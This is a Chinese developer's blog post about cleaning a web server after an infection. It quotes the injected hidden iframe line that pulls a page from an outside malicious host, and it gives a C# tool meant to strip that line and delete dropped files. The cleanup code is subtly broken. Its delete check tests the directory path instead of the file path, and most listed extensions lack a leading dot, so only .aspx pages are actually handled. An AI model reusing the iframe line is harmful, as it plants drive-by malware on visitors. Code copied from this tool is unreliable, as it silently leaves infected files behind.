背景:
最近客户反应,站点部分功能无法正常使用。原来我打开看了之后,发现每个aspx页面尾部添加了这样一行代码。
<iframe src="http://www.xinxinbaidu.com.cn/htm/mm.htm" width=0 height=0></iframe>
而且几乎每个文件下,多了一个Desktop_1.ini。有些地方还有cool_gamesetup.exe程序存在。二话不说,赶紧装了杀毒软件进行杀毒,杀毒软件将这些中毒文件全部找到了,处理方式是直接删除文件。服务器上有大约9000+个网页类文件都被添加了该恶意代码,又不能直接删除,于是采用程序的方式,首先删除这些病毒特征,再用360全盘扫描。
资源下载:
开发思路:
遍历磁盘驱动器,递归遍历子文件夹,将子文件夹网页类文件中的错误代码移除,同时检查是否存在需要删除的文件(Desktop_1.ini和 cool_gamesetup.exe),并将其删除。在实际操作过程中发现Desktop_1.ini是只读文件,禁止被删除的,首先需要将该文件设置为可读可写,再将其删除。最后的效果则是,基本上需要的文件都没有删除。
代码如下:
/* ============================================================================== * 文 件 名:Program * 功能描述: * Copyright (c) 2013 武汉经纬视通科技有限公司 * 创 建 人: alone * 创建时间: 2013/3/24 21:13:47 * 修 改 人: * 修改时间: * 修改描述: * 版 本: v1.0.0.0 * ==============================================================================*/ using System; using System.Collections.Generic; using System.IO; using System.Text; namespace HTML_IFrame_laka文件还原 { class Program { public static string[] files;//需要删除的文件 public static string[] exts;//需要替换错误代码的文件后缀 //错误代码 public static string errorCode = "<iframe src=\"http://www.xinxinbaidu.com.cn/htm/mm.htm\" width=0 height=0></iframe>"; public static string logName;//日志文件 static void Main(string[] args) { //设置参数 logName = ".//" + DateTime.Now.ToString("yyyy年MM月dd日") + ".log"; files = new string[] { "Desktop_1.ini", "cool_gamesetup.exe" }; exts = new string[] { ".aspx", "jsp", "html", "htm", "shtml" }; //遍历驱动器 var drives = Directory.GetLogicalDrives(); foreach (var drive in drives) { Handle(drive); } Console.WriteLine("程序处理完毕"); } static void Handle(string path) { Console.WriteLine("处理目录 " + path); //移除文件中的错误代码 var files = Directory.GetFiles(path); foreach (var file in files) { var currExt = Path.GetExtension(file); foreach (var ext in Program.exts) { if (ext == currExt) { try { //获取该文件的编码 用该编码进行文件读写 var encode = TxtFileEncoding.GetEncoding(file); var content = File.ReadAllText(file, encode); if (content.Contains(errorCode)) { content = content.Replace(errorCode, string.Empty); File.WriteAllText(file, content, encode); Console.WriteLine("修改成功 文件编码:{0} 文件路径:{1}", encode.BodyName, file); } } catch (Exception e) { Console.WriteLine("修改失败 {0} {1}", file, e.Message); Write(e.Message); } } } } //删除指定文件 foreach (var file in Program.files) { var deleteFile = Path.Combine(path, file); if (File.Exists(path)) { FileInfo flDeleteFile = new FileInfo(Path.Combine(path, file)); flDeleteFile.IsReadOnly = false; flDeleteFile.Attributes = FileAttributes.Normal; flDeleteFile.Delete(); Console.WriteLine("删除{0}成功", file); } } //递归文件夹 var dirs = Directory.GetDirectories(path); foreach (var dir in dirs) { try { Handle(dir); } catch (Exception e) { Console.WriteLine("目录处理失败 {0}", dir); Write(e.Message); } } } static void Write(string msg) { var content = new StringBuilder(); content.AppendLine("【记录时间】" + DateTime.Now.ToString()); content.AppendLine("【错误信息】" + msg); File.AppendAllText(logName, content.ToString() + Environment.NewLine); } } }
更新:
1.读取文件的编码,使用该编码进行读写,避免乱码。(2013-03-25)
希望能帮到那些在服务器上遇到同样问题的人。